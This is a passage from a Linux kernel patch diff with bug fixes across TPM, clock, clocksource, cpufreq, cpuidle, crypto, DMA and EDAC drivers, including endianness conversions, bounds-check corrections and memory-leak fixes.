<= 0) { + if (be16_to_cpu(crq->len) <= 0) { dev_err(ibmvtpm->dev, "Invalid rtce size\n"); return; } - ibmvtpm->rtce_size = crq->len; + ibmvtpm->rtce_size = be16_to_cpu(crq->len); ibmvtpm->rtce_buf = kmalloc(ibmvtpm->rtce_size, - GFP_KERNEL); + GFP_ATOMIC); if (!ibmvtpm->rtce_buf) { dev_err(ibmvtpm->dev, "Failed to allocate memory for rtce buffer\n"); return; @@ -536,11 +548,11 @@ static void ibmvtpm_crq_process(struct ibmvtpm_crq *crq, return; case VTPM_GET_VERSION_RES: - ibmvtpm->vtpm_version = crq->data; + ibmvtpm->vtpm_version = be32_to_cpu(crq->data); return; case VTPM_TPM_COMMAND_RES: /* len of the data in rtce buffer */ - ibmvtpm->res_len = crq->len; + ibmvtpm->res_len = be16_to_cpu(crq->len); wake_up_interruptible(&ibmvtpm->wq); return; default: @@ -606,6 +618,9 @@ static int tpm_ibmvtpm_probe(struct vio_dev *vio_dev, goto cleanup; } + ibmvtpm->dev = dev; + ibmvtpm->vdev = vio_dev; + crq_q = &ibmvtpm->crq_queue; crq_q->crq_addr = (struct ibmvtpm_crq *)get_zeroed_page(GFP_KERNEL); if (!crq_q->crq_addr) { @@ -650,8 +665,6 @@ static int tpm_ibmvtpm_probe(struct vio_dev *vio_dev, crq_q->index = 0; - ibmvtpm->dev = dev; - ibmvtpm->vdev = vio_dev; TPM_VPRIV(chip) = (void *)ibmvtpm; spin_lock_init(&ibmvtpm->rtce_lock); diff --git a/drivers/char/tpm/tpm_ibmvtpm.h b/drivers/char/tpm/tpm_ibmvtpm.h index bd82a791f995d..b2c231b1beec4 100644 --- a/drivers/char/tpm/tpm_ibmvtpm.h +++ b/drivers/char/tpm/tpm_ibmvtpm.h @@ -22,9 +22,9 @@ struct ibmvtpm_crq { u8 valid; u8 msg; - u16 len; - u32 data; - u64 reserved; + __be16 len; + __be32 data; + __be64 reserved; } __attribute__((packed, aligned(8))); struct ibmvtpm_crq_queue { diff --git a/drivers/char/tpm/tpm_tis.c b/drivers/char/tpm/tpm_tis.c index 8a41b6be23a05..323d02d33c700 100644 --- a/drivers/char/tpm/tpm_tis.c +++ b/drivers/char/tpm/tpm_tis.c @@ -75,6 +75,10 @@ enum tis_defaults { #define TPM_DID_VID(l) (0x0F00 | ((l) << 12)) #define TPM_RID(l) (0x0F04 | ((l) << 12)) +struct priv_data { + bool irq_tested; +}; + static LIST_HEAD(tis_chips); static DEFINE_MUTEX(tis_lock); @@ -338,12 +342,27 @@ static int tpm_tis_send_data(struct tpm_chip *chip, u8 *buf, size_t len) return rc; } +static void disable_interrupts(struct tpm_chip *chip) +{ + u32 intmask; + + intmask = + ioread32(chip->vendor.iobase + + TPM_INT_ENABLE(chip->vendor.locality)); + intmask &= ~TPM_GLOBAL_INT_ENABLE; + iowrite32(intmask, + chip->vendor.iobase + + TPM_INT_ENABLE(chip->vendor.locality)); + free_irq(chip->vendor.irq, chip); + chip->vendor.irq = 0; +} + /* * If interrupts are used (signaled by an irq set in the vendor structure) * tpm.c can skip polling for the data to be available as the interrupt is * waited for here */ -static int tpm_tis_send(struct tpm_chip *chip, u8 *buf, size_t len) +static int tpm_tis_send_main(struct tpm_chip *chip, u8 *buf, size_t len) { int rc; u32 ordinal; @@ -373,6 +392,60 @@ static int tpm_tis_send(struct tpm_chip *chip, u8 *buf, size_t len) return rc; } +static int tpm_tis_send(struct tpm_chip *chip, u8 *buf, size_t len) +{ + int rc, irq; + struct priv_data *priv = chip->vendor.priv; + + if (!chip->vendor.irq || priv->irq_tested) + return tpm_tis_send_main(chip, buf, len); + + /* Verify receipt of the expected IRQ */ + irq = chip->vendor.irq; + chip->vendor.irq = 0; + rc = tpm_tis_send_main(chip, buf, len); + chip->vendor.irq = irq; + if (!priv->irq_tested) + msleep(1); + if (!priv->irq_tested) { + disable_interrupts(chip); + dev_err(chip->dev, + FW_BUG "TPM interrupt not working, polling instead\n"); + } + priv->irq_tested = true; + return rc; +} + +struct tis_vendor_timeout_override { + u32 did_vid; + unsigned long timeout_us[4]; +}; + +static const struct tis_vendor_timeout_override vendor_timeout_overrides[] = { + /* Atmel 3204 */ + { 0x32041114, { (TIS_SHORT_TIMEOUT*1000), (TIS_LONG_TIMEOUT*1000), + (TIS_SHORT_TIMEOUT*1000), (TIS_SHORT_TIMEOUT*1000) } }, +}; + +static bool tpm_tis_update_timeouts(struct tpm_chip *chip, + unsigned long *timeout_cap) +{ + int i; + u32 did_vid; + + did_vid = ioread32(chip->vendor.iobase + TPM_DID_VID(0)); + + for (i = 0; i != ARRAY_SIZE(vendor_timeout_overrides); i++) { + if (vendor_timeout_overrides[i].did_vid != did_vid) + continue; + memcpy(timeout_cap, vendor_timeout_overrides[i].timeout_us, + sizeof(vendor_timeout_overrides[i].timeout_us)); + return true; + } + + return false; +} + /* * Early probing for iTPM with STS_DATA_EXPECT flaw. * Try sending command without itpm flag set and if that @@ -475,6 +548,7 @@ static struct tpm_vendor_specific tpm_tis = { .recv = tpm_tis_recv, .send = tpm_tis_send, .cancel = tpm_tis_ready, + .update_timeouts = tpm_tis_update_timeouts, .req_complete_mask = TPM_STS_DATA_AVAIL | TPM_STS_VALID, .req_complete_val = TPM_STS_DATA_AVAIL | TPM_STS_VALID, .req_canceled = tpm_tis_req_canceled, @@ -515,6 +589,7 @@ static irqreturn_t tis_int_handler(int dummy, void *dev_id) if (interrupt == 0) return IRQ_NONE; + ((struct priv_data *)chip->vendor.priv)->irq_tested = true; if (interrupt & TPM_INTF_DATA_AVAIL_INT) wake_up_interruptible(&chip->vendor.read_queue); if (interrupt & TPM_INTF_LOCALITY_CHANGE_INT) @@ -544,9 +619,14 @@ static int tpm_tis_init(struct device *dev, resource_size_t start, u32 vendor, intfcaps, intmask; int rc, i, irq_s, irq_e, probe; struct tpm_chip *chip; + struct priv_data *priv; + priv = devm_kzalloc(dev, sizeof(struct priv_data), GFP_KERNEL); + if (priv == NULL) + return -ENOMEM; if (!(chip = tpm_register_hardware(dev, &tpm_tis))) return -ENODEV; + chip->vendor.priv = priv; chip->vendor.iobase = ioremap(start, len); if (!chip->vendor.iobase) { @@ -615,19 +695,6 @@ static int tpm_tis_init(struct device *dev, resource_size_t start, if (intfcaps & TPM_INTF_DATA_AVAIL_INT) dev_dbg(dev, "\tData Avail Int Support\n"); - /* get the timeouts before testing for irqs */ - if (tpm_get_timeouts(chip)) { - dev_err(dev, "Could not get TPM timeouts and durations\n"); - rc = -ENODEV; - goto out_err; - } - - if (tpm_do_selftest(chip)) { - dev_err(dev, "TPM self test failed\n"); - rc = -ENODEV; - goto out_err; - } - /* INTERRUPT Setup */ init_waitqueue_head(&chip->vendor.read_queue); init_waitqueue_head(&chip->vendor.int_queue); @@ -729,6 +796,18 @@ static int tpm_tis_init(struct device *dev, resource_size_t start, } } + if (tpm_get_timeouts(chip)) { + dev_err(dev, "Could not get TPM timeouts and durations\n"); + rc = -ENODEV; + goto out_err; + } + + if (tpm_do_selftest(chip)) { + dev_err(dev, "TPM self test failed\n"); + rc = -ENODEV; + goto out_err; + } + INIT_LIST_HEAD(&chip->vendor.list); mutex_lock(&tis_lock); list_add(&chip->vendor.list, &tis_chips); diff --git a/drivers/char/virtio_console.c b/drivers/char/virtio_console.c index fc45567ad3ace..ec3bd62eeaf69 100644 --- a/drivers/char/virtio_console.c +++ b/drivers/char/virtio_console.c @@ -2023,12 +2023,13 @@ static int virtcons_probe(struct virtio_device *vdev) spin_lock_init(&portdev->ports_lock); INIT_LIST_HEAD(&portdev->ports); + INIT_WORK(&portdev->control_work, &control_work_handler); + if (multiport) { unsigned int nr_added_bufs; spin_lock_init(&portdev->c_ivq_lock); spin_lock_init(&portdev->c_ovq_lock); - INIT_WORK(&portdev->control_work, &control_work_handler); nr_added_bufs = fill_queue(portdev->c_ivq, &portdev->c_ivq_lock); diff --git a/drivers/clk/sunxi/clk-factors.c b/drivers/clk/sunxi/clk-factors.c index 88523f91d9b70..7555793097f25 100644 --- a/drivers/clk/sunxi/clk-factors.c +++ b/drivers/clk/sunxi/clk-factors.c @@ -70,7 +70,7 @@ static unsigned long clk_factors_recalc_rate(struct clk_hw *hw, p = FACTOR_GET(config->pshift, config->pwidth, reg); /* Calculate the rate */ - rate = (parent_rate * n * (k + 1) >> p) / (m + 1); + rate = (parent_rate * (n + config->n_start) * (k + 1) >> p) / (m + 1); return rate; } diff --git a/drivers/clk/sunxi/clk-factors.h b/drivers/clk/sunxi/clk-factors.h index f49851cc43804..441fdc3f57173 100644 --- a/drivers/clk/sunxi/clk-factors.h +++ b/drivers/clk/sunxi/clk-factors.h @@ -15,6 +15,7 @@ struct clk_factors_config { u8 mwidth; u8 pshift; u8 pwidth; + u8 n_start; }; struct clk *clk_register_factors(struct device *dev, const char *name, diff --git a/drivers/clk/versatile/clk-sp810.c b/drivers/clk/versatile/clk-sp810.c index bf9b15a585e18..a21e2fa66a2a9 100644 --- a/drivers/clk/versatile/clk-sp810.c +++ b/drivers/clk/versatile/clk-sp810.c @@ -128,8 +128,8 @@ struct clk *clk_sp810_timerclken_of_get(struct of_phandle_args *clkspec, { struct clk_sp810 *sp810 = data; - if (WARN_ON(clkspec->args_count != 1 || clkspec->args[0] > - ARRAY_SIZE(sp810->timerclken))) + if (WARN_ON(clkspec->args_count != 1 || + clkspec->args[0] >= ARRAY_SIZE(sp810->timerclken))) return NULL; return sp810->timerclken[clkspec->args[0]].clk; @@ -141,6 +141,7 @@ void __init clk_sp810_of_setup(struct device_node *node) const char *parent_names[2]; char name[12]; struct clk_init_data init; + static int instance; int i; if (!sp810) { @@ -172,7 +173,7 @@ void __init clk_sp810_of_setup(struct device_node *node) init.num_parents = ARRAY_SIZE(parent_names); for (i = 0; i < ARRAY_SIZE(sp810->timerclken); i++) { - snprintf(name, ARRAY_SIZE(name), "timerclken%d", i); + snprintf(name, sizeof(name), "sp810_%d_%d", instance, i); sp810->timerclken[i].sp810 = sp810; sp810->timerclken[i].channel = i; @@ -184,5 +185,6 @@ void __init clk_sp810_of_setup(struct device_node *node) } of_clk_add_provider(node, clk_sp810_timerclken_of_get, sp810); + instance++; } CLK_OF_DECLARE(sp810, "arm,sp810", clk_sp810_of_setup); diff --git a/drivers/clocksource/exynos_mct.c b/drivers/clocksource/exynos_mct.c index b7960185919d0..3dfa3e5e3705e 100644 --- a/drivers/clocksource/exynos_mct.c +++ b/drivers/clocksource/exynos_mct.c @@ -94,8 +94,8 @@ static void exynos4_mct_write(unsigned int value, unsigned long offset) __raw_writel(value, reg_base + offset); if (likely(offset >= EXYNOS4_MCT_L_BASE(0))) { - stat_addr = (offset & ~EXYNOS4_MCT_L_MASK) + MCT_L_WSTAT_OFFSET; - switch (offset & EXYNOS4_MCT_L_MASK) { + stat_addr = (offset & EXYNOS4_MCT_L_MASK) + MCT_L_WSTAT_OFFSET; + switch (offset & ~EXYNOS4_MCT_L_MASK) { case MCT_L_TCON_OFFSET: mask = 1 << 3; /* L_TCON write status */ break; diff --git a/drivers/clocksource/vt8500_timer.c b/drivers/clocksource/vt8500_timer.c index 64f553f04fa4b..5874ebf9dcedb 100644 --- a/drivers/clocksource/vt8500_timer.c +++ b/drivers/clocksource/vt8500_timer.c @@ -50,6 +50,8 @@ #define msecs_to_loops(t) (loops_per_jiffy / 1000 * HZ * t) +#define MIN_OSCR_DELTA 16 + static void __iomem *regbase; static cycle_t vt8500_timer_read(struct clocksource *cs) @@ -80,7 +82,7 @@ static int vt8500_timer_set_next_event(unsigned long cycles, cpu_relax(); writel((unsigned long)alarm, regbase + TIMER_MATCH_VAL); - if ((signed)(alarm - clocksource.read(&clocksource)) <= 16) + if ((signed)(alarm - clocksource.read(&clocksource)) <= MIN_OSCR_DELTA) return -ETIME; writel(1, regbase + TIMER_IER_VAL); @@ -162,7 +164,7 @@ static void __init vt8500_timer_init(struct device_node *np) pr_err("%s: setup_irq failed for %s\n", __func__, clockevent.name); clockevents_config_and_register(&clockevent, VT8500_TIMER_HZ, - 4, 0xf0000000); + MIN_OSCR_DELTA * 2, 0xf0000000); } CLOCKSOURCE_OF_DECLARE(vt8500, "via,vt8500-timer", vt8500_timer_init); diff --git a/drivers/connector/connector.c b/drivers/connector/connector.c index 0daa11e418b14..bdbd804159088 100644 --- a/drivers/connector/connector.c +++ b/drivers/connector/connector.c @@ -154,26 +154,21 @@ static int cn_call_callback(struct sk_buff *skb) * * It checks skb, netlink header and msg sizes, and calls callback helper. */ -static void cn_rx_skb(struct sk_buff *__skb) +static void cn_rx_skb(struct sk_buff *skb) { struct nlmsghdr *nlh; - struct sk_buff *skb; int len, err; - skb = skb_get(__skb); - if (skb->len >= NLMSG_HDRLEN) { nlh = nlmsg_hdr(skb); len = nlmsg_len(nlh); if (len < (int)sizeof(struct cn_msg) || skb->len < nlh->nlmsg_len || - len > CONNECTOR_MAX_MSG_SIZE) { - kfree_skb(skb); + len > CONNECTOR_MAX_MSG_SIZE) return; - } - err = cn_call_callback(skb); + err = cn_call_callback(skb_get(skb)); if (err < 0) kfree_skb(skb); } diff --git a/drivers/cpufreq/intel_pstate.c b/drivers/cpufreq/intel_pstate.c index 003724357636a..73e6d92902839 100644 --- a/drivers/cpufreq/intel_pstate.c +++ b/drivers/cpufreq/intel_pstate.c @@ -599,6 +599,7 @@ static int intel_pstate_set_policy(struct cpufreq_policy *policy) if (policy->policy == CPUFREQ_POLICY_PERFORMANCE) { limits.min_perf_pct = 100; limits.min_perf = int_tofp(1); + limits.max_policy_pct = 100; limits.max_perf_pct = 100; limits.max_perf = int_tofp(1); limits.no_turbo = 0; diff --git a/drivers/cpufreq/speedstep-lib.c b/drivers/cpufreq/speedstep-lib.c index 7047821a7f8a5..4ab7a21566724 100644 --- a/drivers/cpufreq/speedstep-lib.c +++ b/drivers/cpufreq/speedstep-lib.c @@ -400,6 +400,7 @@ unsigned int speedstep_get_freqs(enum speedstep_processor processor, pr_debug("previous speed is %u\n", prev_speed); + preempt_disable(); local_irq_save(flags); /* switch to low state */ @@ -464,6 +465,8 @@ unsigned int speedstep_get_freqs(enum speedstep_processor processor, out: local_irq_restore(flags); + preempt_enable(); + return ret; } EXPORT_SYMBOL_GPL(speedstep_get_freqs); diff --git a/drivers/cpufreq/speedstep-smi.c b/drivers/cpufreq/speedstep-smi.c index abfba4f731ebd..1f6c4adc85d1d 100644 --- a/drivers/cpufreq/speedstep-smi.c +++ b/drivers/cpufreq/speedstep-smi.c @@ -188,6 +188,7 @@ static void speedstep_set_state(unsigned int state) return; /* Disable IRQs */ + preempt_disable(); local_irq_save(flags); command = (smi_sig & 0xffffff00) | (smi_cmd & 0xff); @@ -198,9 +199,19 @@ static void speedstep_set_state(unsigned int state) do { if (retry) { + /* + * We need to enable interrupts, otherwise the blockage + * won't resolve. + * + * We disable preemption so that other processes don't + * run. If other processes were running, they could + * submit more DMA requests, making the blockage worse. + */ pr_debug("retry %u, previous result %u, waiting...\n", retry, result); + local_irq_enable(); mdelay(retry * 50); + local_irq_disable(); } retry++; __asm__ __volatile__( @@ -217,6 +228,7 @@ static void speedstep_set_state(unsigned int state) /* enable IRQs */ local_irq_restore(flags); + preempt_enable(); if (new_state == state) pr_debug("change to %u MHz succeeded after %u tries " diff --git a/drivers/cpuidle/cpuidle.c b/drivers/cpuidle/cpuidle.c index 3476ff3c09938..049cd41956390 100644 --- a/drivers/cpuidle/cpuidle.c +++ b/drivers/cpuidle/cpuidle.c @@ -134,6 +134,9 @@ int cpuidle_idle_call(void) /* ask the governor for the next state */ next_state = cpuidle_curr_governor->select(drv, dev); + if (next_state < 0) + return -EBUSY; + if (need_resched()) { dev->last_residency = 0; /* give the governor an opportunity to reflect on the outcome */ diff --git a/drivers/cpuidle/governors/menu.c b/drivers/cpuidle/governors/menu.c index 06e26d714bafb..0be35c86bb592 100644 --- a/drivers/cpuidle/governors/menu.c +++ b/drivers/cpuidle/governors/menu.c @@ -257,7 +257,7 @@ static int menu_select(struct cpuidle_driver *drv, struct cpuidle_device *dev) data->needs_update = 0; } - data->last_state_idx = 0; + data->last_state_idx = CPUIDLE_DRIVER_STATE_START - 1; data->exit_us = 0; /* Special case when user has set very strict latency requirement */ diff --git a/drivers/crypto/caam/caamhash.c b/drivers/crypto/caam/caamhash.c index 84573b4d6f928..dda43cc4b6cd5 100644 --- a/drivers/crypto/caam/caamhash.c +++ b/drivers/crypto/caam/caamhash.c @@ -895,13 +895,14 @@ static int ahash_final_ctx(struct ahash_request *req) state->buflen_1; u32 *sh_desc = ctx->sh_desc_fin, *desc; dma_addr_t ptr = ctx->sh_desc_fin_dma; - int sec4_sg_bytes; + int sec4_sg_bytes, sec4_sg_src_index; int digestsize = crypto_ahash_digestsize(ahash); struct ahash_edesc *edesc; int ret = 0; int sh_len; - sec4_sg_bytes = (1 + (buflen ? 1 : 0)) * sizeof(struct sec4_sg_entry); + sec4_sg_src_index = 1 + (buflen ? 1 : 0); + sec4_sg_bytes = sec4_sg_src_index * sizeof(struct sec4_sg_entry); /* allocate space for base edesc and hw desc commands, link tables */ edesc = kmalloc(sizeof(struct ahash_edesc) + DESC_JOB_IO_LEN + @@ -928,7 +929,7 @@ static int ahash_final_ctx(struct ahash_request *req) state->buf_dma = try_buf_map_to_sec4_sg(jrdev, edesc->sec4_sg + 1, buf, state->buf_dma, buflen, last_buflen); - (edesc->sec4_sg + sec4_sg_bytes - 1)->len |= SEC4_SG_LEN_FIN; + (edesc->sec4_sg + sec4_sg_src_index - 1)->len |= SEC4_SG_LEN_FIN; append_seq_in_ptr(desc, edesc->sec4_sg_dma, ctx->ctx_len + buflen, LDST_SGF); diff --git a/drivers/crypto/caam/caamrng.c b/drivers/crypto/caam/caamrng.c index d1939a9539c06..04aefffb4dd9b 100644 --- a/drivers/crypto/caam/caamrng.c +++ b/drivers/crypto/caam/caamrng.c @@ -56,7 +56,7 @@ /* Buffer, its dma address and lock */ struct buf_data { - u8 buf[RN_BUF_SIZE]; + u8 buf[RN_BUF_SIZE] ____cacheline_aligned; dma_addr_t addr; struct completion filled; u32 hw_desc[DESC_JOB_O_LEN]; diff --git a/drivers/crypto/ixp4xx_crypto.c b/drivers/crypto/ixp4xx_crypto.c index 21180d6cad6e2..7cb51b3bb79e3 100644 --- a/drivers/crypto/ixp4xx_crypto.c +++ b/drivers/crypto/ixp4xx_crypto.c @@ -915,7 +915,6 @@ static int ablk_perform(struct ablkcipher_request *req, int encrypt) crypt->mode |= NPE_OP_NOT_IN_PLACE; /* This was never tested by Intel * for more than one dst buffer, I think. */ - BUG_ON(req->dst->length < nbytes); req_ctx->dst = NULL; if (!chainup_buffers(dev, req->dst, nbytes, &dst_hook, flags, DMA_FROM_DEVICE)) diff --git a/drivers/crypto/nx/nx.c b/drivers/crypto/nx/nx.c index bbdab6e5ccf08..fe689643a5ad3 100644 --- a/drivers/crypto/nx/nx.c +++ b/drivers/crypto/nx/nx.c @@ -309,7 +309,7 @@ static void nx_of_update_msc(struct device *dev, ((bytes_so_far + sizeof(struct msc_triplet)) <= lenp) && i < msc->triplets; i++) { - if (msc->fc > NX_MAX_FC || msc->mode > NX_MAX_MODE) { + if (msc->fc >= NX_MAX_FC || msc->mode >= NX_MAX_MODE) { dev_err(dev, "unknown function code/mode " "combo: %d/%d (ignored)\n", msc->fc, msc->mode); diff --git a/drivers/crypto/padlock-aes.c b/drivers/crypto/padlock-aes.c index 633ba945e153d..c178ed8c3908d 100644 --- a/drivers/crypto/padlock-aes.c +++ b/drivers/crypto/padlock-aes.c @@ -563,4 +563,4 @@ MODULE_DESCRIPTION("VIA PadLock AES algorithm support"); MODULE_LICENSE("GPL"); MODULE_AUTHOR("Michal Ludvig"); -MODULE_ALIAS("aes"); +MODULE_ALIAS_CRYPTO("aes"); diff --git a/drivers/crypto/padlock-sha.c b/drivers/crypto/padlock-sha.c index 9266c0e254929..93d7753ab38a3 100644 --- a/drivers/crypto/padlock-sha.c +++ b/drivers/crypto/padlock-sha.c @@ -593,7 +593,7 @@ MODULE_DESCRIPTION("VIA PadLock SHA1/SHA256 algorithms support."); MODULE_LICENSE("GPL"); MODULE_AUTHOR("Michal Ludvig"); -MODULE_ALIAS("sha1-all"); -MODULE_ALIAS("sha256-all"); -MODULE_ALIAS("sha1-padlock"); -MODULE_ALIAS("sha256-padlock"); +MODULE_ALIAS_CRYPTO("sha1-all"); +MODULE_ALIAS_CRYPTO("sha256-all"); +MODULE_ALIAS_CRYPTO("sha1-padlock"); +MODULE_ALIAS_CRYPTO("sha256-padlock"); diff --git a/drivers/crypto/talitos.c b/drivers/crypto/talitos.c index 5b2b5e61e4f9d..057d894eee667 100644 --- a/drivers/crypto/talitos.c +++ b/drivers/crypto/talitos.c @@ -935,7 +935,8 @@ static int sg_to_link_tbl(struct scatterlist *sg, int sg_count, sg_count--; link_tbl_ptr--; } - be16_add_cpu(&link_tbl_ptr->len, cryptlen); + link_tbl_ptr->len = cpu_to_be16(be16_to_cpu(link_tbl_ptr->len) + + cryptlen); /* tag end of link table */ link_tbl_ptr->j_extent = DESC_PTR_LNKTBL_RETURN; @@ -2621,6 +2622,7 @@ static struct talitos_crypto_alg *talitos_alg_alloc(struct device *dev, break; default: dev_err(dev, "unknown algorithm type %d\n", t_alg->algt.type); + kfree(t_alg); return ERR_PTR(-EINVAL); } diff --git a/drivers/crypto/ux500/cryp/cryp_core.c b/drivers/crypto/ux500/cryp/cryp_core.c index 32f480622b978..e08275de37efb 100644 --- a/drivers/crypto/ux500/cryp/cryp_core.c +++ b/drivers/crypto/ux500/cryp/cryp_core.c @@ -190,7 +190,7 @@ static void add_session_id(struct cryp_ctx *ctx) static irqreturn_t cryp_interrupt_handler(int irq, void *param) { struct cryp_ctx *ctx; - int i; + int count; struct cryp_device_data *device_data; if (param == NULL) { @@ -215,12 +215,11 @@ static irqreturn_t cryp_interrupt_handler(int irq, void *param) if (cryp_pending_irq_src(device_data, CRYP_IRQ_SRC_OUTPUT_FIFO)) { if (ctx->outlen / ctx->blocksize > 0) { - for (i = 0; i < ctx->blocksize / 4; i++) { - *(ctx->outdata) = readl_relaxed( - &device_data->base->dout); - ctx->outdata += 4; - ctx->outlen -= 4; - } + count = ctx->blocksize / 4; + + readsl(&device_data->base->dout, ctx->outdata, count); + ctx->outdata += count; + ctx->outlen -= count; if (ctx->outlen == 0) { cryp_disable_irq_src(device_data, @@ -230,12 +229,12 @@ static irqreturn_t cryp_interrupt_handler(int irq, void *param) } else if (cryp_pending_irq_src(device_data, CRYP_IRQ_SRC_INPUT_FIFO)) { if (ctx->datalen / ctx->blocksize > 0) { - for (i = 0 ; i < ctx->blocksize / 4; i++) { - writel_relaxed(ctx->indata, - &device_data->base->din); - ctx->indata += 4; - ctx->datalen -= 4; - } + count = ctx->blocksize / 4; + + writesl(&device_data->base->din, ctx->indata, count); + + ctx->indata += count; + ctx->datalen -= count; if (ctx->datalen == 0) cryp_disable_irq_src(device_data, @@ -1776,7 +1775,7 @@ module_exit(ux500_cryp_mod_fini); module_param(cryp_mode, int, 0); MODULE_DESCRIPTION("Driver for ST-Ericsson UX500 CRYP crypto engine."); -MODULE_ALIAS("aes-all"); -MODULE_ALIAS("des-all"); +MODULE_ALIAS_CRYPTO("aes-all"); +MODULE_ALIAS_CRYPTO("des-all"); MODULE_LICENSE("GPL"); diff --git a/drivers/crypto/ux500/hash/hash_core.c b/drivers/crypto/ux500/hash/hash_core.c index cf55089675398..cde4a6e0fab06 100644 --- a/drivers/crypto/ux500/hash/hash_core.c +++ b/drivers/crypto/ux500/hash/hash_core.c @@ -806,7 +806,7 @@ int hash_process_data( &device_data->state); memmove(req_ctx->state.buffer, device_data->state.buffer, - HASH_BLOCK_SIZE / sizeof(u32)); + HASH_BLOCK_SIZE); if (ret) { dev_err(device_data->dev, "[%s] " "hash_resume_state()" @@ -858,7 +858,7 @@ int hash_process_data( memmove(device_data->state.buffer, req_ctx->state.buffer, - HASH_BLOCK_SIZE / sizeof(u32)); + HASH_BLOCK_SIZE); if (ret) { dev_err(device_data->dev, "[%s] " "hash_save_state()" @@ -1998,7 +1998,7 @@ module_exit(ux500_hash_mod_fini); MODULE_DESCRIPTION("Driver for ST-Ericsson UX500 HASH engine."); MODULE_LICENSE("GPL"); -MODULE_ALIAS("sha1-all"); -MODULE_ALIAS("sha256-all"); -MODULE_ALIAS("hmac-sha1-all"); -MODULE_ALIAS("hmac-sha256-all"); +MODULE_ALIAS_CRYPTO("sha1-all"); +MODULE_ALIAS_CRYPTO("sha256-all"); +MODULE_ALIAS_CRYPTO("hmac-sha1-all"); +MODULE_ALIAS_CRYPTO("hmac-sha256-all"); diff --git a/drivers/dma/mv_xor.c b/drivers/dma/mv_xor.c index d64ae14f2706e..43092c3178978 100644 --- a/drivers/dma/mv_xor.c +++ b/drivers/dma/mv_xor.c @@ -393,7 +393,8 @@ static void __mv_xor_slot_cleanup(struct mv_xor_chan *mv_chan) dma_cookie_t cookie = 0; int busy = mv_chan_is_busy(mv_chan); u32 current_desc = mv_chan_get_current_desc(mv_chan); - int seen_current = 0; + int current_cleaned = 0; + struct mv_xor_desc *hw_desc; dev_dbg(mv_chan_to_devp(mv_chan), "%s %d\n", __func__, __LINE__); dev_dbg(mv_chan_to_devp(mv_chan), "current_desc %x\n", current_desc); @@ -405,38 +406,57 @@ static void __mv_xor_slot_cleanup(struct mv_xor_chan *mv_chan) list_for_each_entry_safe(iter, _iter, &mv_chan->chain, chain_node) { - prefetch(_iter); - prefetch(&_iter->async_tx); - /* do not advance past the current descriptor loaded into the - * hardware channel, subsequent descriptors are either in - * process or have not been submitted - */ - if (seen_current) - break; + /* clean finished descriptors */ + hw_desc = iter->hw_desc; + if (hw_desc->status & XOR_DESC_SUCCESS) { + cookie = mv_xor_run_tx_complete_actions(iter, mv_chan, + cookie); - /* stop the search if we reach the current descriptor and the - * channel is busy - */ - if (iter->async_tx.phys == current_desc) { - seen_current = 1; - if (busy) + /* done processing desc, clean slot */ + mv_xor_clean_slot(iter, mv_chan); + + /* break if we did cleaned the current */ + if (iter->async_tx.phys == current_desc) { + current_cleaned = 1; + break; + } + } else { + if (iter->async_tx.phys == current_desc) { + current_cleaned = 0; break; + } } - - cookie = mv_xor_run_tx_complete_actions(iter, mv_chan, cookie); - - if (mv_xor_clean_slot(iter, mv_chan)) - break; } if ((busy == 0) && !list_empty(&mv_chan->chain)) { - struct mv_xor_desc_slot *chain_head; - chain_head = list_entry(mv_chan->chain.next, - struct mv_xor_desc_slot, - chain_node); - - mv_xor_start_new_chain(mv_chan, chain_head); + if (current_cleaned) { + /* + * current descriptor cleaned and removed, run + * from list head + */ + iter = list_entry(mv_chan->chain.next, + struct mv_xor_desc_slot, + chain_node); + mv_xor_start_new_chain(mv_chan, iter); + } else { + if (!list_is_last(&iter->chain_node, &mv_chan->chain)) { + /* + * descriptors are still waiting after + * current, trigger them + */ + iter = list_entry(iter->chain_node.next, + struct mv_xor_desc_slot, + chain_node); + mv_xor_start_new_chain(mv_chan, iter); + } else { + /* + * some descriptors are still waiting + * to be cleaned + */ + tasklet_schedule(&mv_chan->irq_tasklet); + } + } } if (cookie > 0) diff --git a/drivers/dma/mv_xor.h b/drivers/dma/mv_xor.h index c632a4761fcff..e003851cd4e52 100644 --- a/drivers/dma/mv_xor.h +++ b/drivers/dma/mv_xor.h @@ -32,6 +32,7 @@ #define XOR_OPERATION_MODE_XOR 0 #define XOR_OPERATION_MODE_MEMCPY 2 #define XOR_OPERATION_MODE_MEMSET 4 +#define XOR_DESC_SUCCESS 0x40000000 #define XOR_CURR_DESC(chan) (chan->mmr_base + 0x210 + (chan->idx * 4)) #define XOR_NEXT_DESC(chan) (chan->mmr_base + 0x200 + (chan->idx * 4)) diff --git a/drivers/dma/omap-dma.c b/drivers/dma/omap-dma.c index ec3fc4fd9160e..b94a37630e368 100644 --- a/drivers/dma/omap-dma.c +++ b/drivers/dma/omap-dma.c @@ -487,6 +487,7 @@ static int omap_dma_terminate_all(struct omap_chan *c) * c->desc is NULL and exit.) */ if (c->desc) { + omap_dma_desc_free(&c->desc->vd); c->desc = NULL; /* Avoid stopping the dma twice */ if (!c->paused) diff --git a/drivers/edac/amd64_edac.c b/drivers/edac/amd64_edac.c index a54d9afbf436d..cfef95386e309 100644 --- a/drivers/edac/amd64_edac.c +++ b/drivers/edac/amd64_edac.c @@ -1268,7 +1268,7 @@ static u64 f1x_get_norm_dct_addr(struct amd64_pvt *pvt, u8 range, u64 chan_off; u64 dram_base = get_dram_base(pvt, range); u64 hole_off = f10_dhar_offset(pvt); - u64 dct_sel_base_off = (pvt->dct_sel_hi & 0xFFFFFC00) << 16; + u64 dct_sel_base_off = (u64)(pvt->dct_sel_hi & 0xFFFFFC00) << 16; if (hi_rng) { /* diff --git a/drivers/edac/cpc925_edac.c b/drivers/edac/cpc925_edac.c index 7f3c57113ba11..1e08ce765f0c5 100644 --- a/drivers/edac/cpc925_edac.c +++ b/drivers/edac/cpc925_edac.c @@ -562,7 +562,7 @@ static void cpc925_mc_check(struct mem_ctl_info *mci) if (apiexcp & UECC_EXCP_DETECTED) { cpc925_mc_printk(mci, KERN_INFO, "DRAM UECC Fault\n"); - edac_mc_handle_error(HW_EVENT_ERR_CORRECTED, mci, 1, + edac_mc_handle_error(HW_EVENT_ERR_UNCORRECTED, mci, 1, pfn, offset, 0, csrow, -1, -1, mci->ctl_name, ""); diff --git a/drivers/edac/e7xxx_edac.c b/drivers/edac/e7xxx_edac.c index 1c4056a503839..2697deae3ab76 100644 --- a/drivers/edac/e7xxx_edac.c +++ b/drivers/edac/e7xxx_edac.c @@ -226,7 +226,7 @@ static void process_ce(struct mem_ctl_info *mci, struct e7xxx_error_info *info) static void process_ce_no_info(struct mem_ctl_info 